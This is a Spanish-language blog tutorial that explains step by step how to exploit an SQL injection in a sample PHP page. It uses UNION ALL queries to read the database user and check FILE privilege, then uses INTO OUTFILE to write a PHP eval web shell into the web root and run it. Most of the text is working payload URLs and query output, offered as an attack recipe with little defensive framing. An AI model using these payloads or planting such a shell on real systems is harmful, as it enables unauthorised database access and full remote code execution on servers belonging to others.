Explicación de INTO OUTFILE en una Inyección SQL

Blog: yoyahack.blogspot.com

Mail: yoyahack@undersecurity.net

Web: foro.undersecurity.net

Buenas, muchas veces la personas no saben usar correctamente o no saben como funciona el comando *INTO OUTFILE* en MYSQL...

Bueno tengo este código PHP vulnerable:

```
<?php
$link = mysql_connect('127.0.0.1','root', 'pass');
mysql_select_db('ejemplo', $link);

$sql = mysql_query('select * from ejemplo where id='.$_GET['id'], $link);
if(mysql_errno($link))
{
echo mysql_error($link);
exit;
}

while($row = mysql_fetch_assoc($sql))
{
echo $row['id']."
".$row['titulo']."
".$row['contenido']."
".$row['parent'];
}
?>
```

La estructura de la tabla ejemplo, es la siguiente:

```
mysql> describe ejemplo;
+-----------+-----------+------+-----+---------+----------------+
| Field     | Type      | Null | Key | Default | Extra          |
+-----------+-----------+------+-----+---------+----------------+
| id        | int(11)   | NO   | PRI | NULL    | auto_increment |
| titulo    | char(20)  | NO   |     | NULL    |                |
| contenido | char(255) | NO   |     | NULL    |                |
| parent    | char(50)  | NO   |     | NULL    |                |
+-----------+-----------+------+-----+---------+----------------+
4 rows in set (0.00 sec)
```

Bueno el código PHP es vulnerable ya que no filtra correctamente el input *id* que se envía vía GET y por lo tanto podemos manipular la consulta SQL.

El siguiente paso seria saber el user y el host de la conexión MYSQL que se esta usando, podemos usar el comando user()... Para esto vamos a usar el comando *UNION ALL,* para combinar las consultas, teniendo en cuenta que debemos tener el mismo numero de columna que el SELECT anterior. Bueno como el primer SELECT hace la consulta a todos los campos de la Tabla ejemplo y la tabla ejemplo tiene 4 columnas, pasaremos a hacer la consulta SQL:

```
mysql> select * from ejemplo where id=1 union all select 1,2,3,4;
+----+---------+--------------------+--------+
| id | titulo  | contenido          | parent |
+----+---------+--------------------+--------+
|  1 | saludar | Ejemplo de saludar | -      |
|  1 | 2       | 3                  | 4      |
+----+---------+--------------------+--------+
```

La petición GET:

```
http://127.0.0.1/pruebas.php?id=2 union all select 1,2,3,4
```

Bueno usamos user() para saber el actual usuario y el host.

```
mysql> select * from ejemplo where id=1 union all select user(),2,3,4;
+----------------+---------+--------------------+--------+
| id             | titulo  | contenido          | parent |
+----------------+---------+--------------------+--------+
| 1              | saludar | Ejemplo de saludar | -      |
| root@localhost | 2       | 3                  | 4      |
+----------------+---------+--------------------+--------+
```

La petición GET:

```
http://127.0.0.1/pruebas.php?id=2 union all select user(),2,3,4
```

Salida: ***root@localhost***

Bueno ahora nos toca saber si el usuario el usuario tienes permiso FILE.

Nota: *El permiso FILE permite al usuario usar los comandos into outfile y load_file().*

```
mysql> select * from ejemplo where id=1 union all select user,host,3,4 from mysql.user where File_priv = 'Y'
&& user='root' && host='localhost';
+------------------------------------------------+-----------+--------------------+--------+
| id                                             | titulo    | contenido          | parent |
+------------------------------------------------+-----------+--------------------+--------+
| 1                                              | saludar   | Ejemplo de saludar | -      |
| root                                           | localhost | 3                  | 4      |
+------------------------------------------------+-----------+--------------------+--------+
```

La petición GET:

```
http://127.0.0.1/pruebas.php?id=2 union all select user,host,3,4 from mysql.user where File_priv = 'Y' &&
user='root' && host='localhost';
```

salida: **root***localhost*

Bueno como el usuario tiene permiso FILE podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file...

Mi DocumentRoot se encuentra en ***/var/www/html***. Debemos tener en cuenta que para utilizar into outfile la directiva Magic_quotes_gpc del php no este **activada**, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y que el directorio tenga permiso de escritura. Debemos indicar donde queremos guardar el archivo cuando usamos el comando *INTO OUTFILE*.

Bueno realizare la siguiente petición GET:

```
http://127.0.0.1/pruebas.php?id=2 union all select "<?php @eval($_GET['exec']); ?>",2,3,4 into outfile
"/var/www/html/exec.php"
```

Bueno, ahora pasamos a ejecutar el archivo *exec.php* pasando la query exec para que se ejecute la función *eval.*

Luego ejecutamos el archivo exec.php pasandole el valor a la query exec phpinfo(), que nos sirve para mostrarnos la configuración de PHP.

http://127.0.0.1/exec.php?exec=phpinfo();

System	Linux Yoya 2.6.34.7-61.fc13.i686 #1 SMP Tue Oct 19 04:42:47 UTC 2010 i686
Build Date	Jul 22 2010 15:58:50

Greetz: OzX, Ksha, pofk, SH4V, seth, S[e]C, ANTRAX, raul338.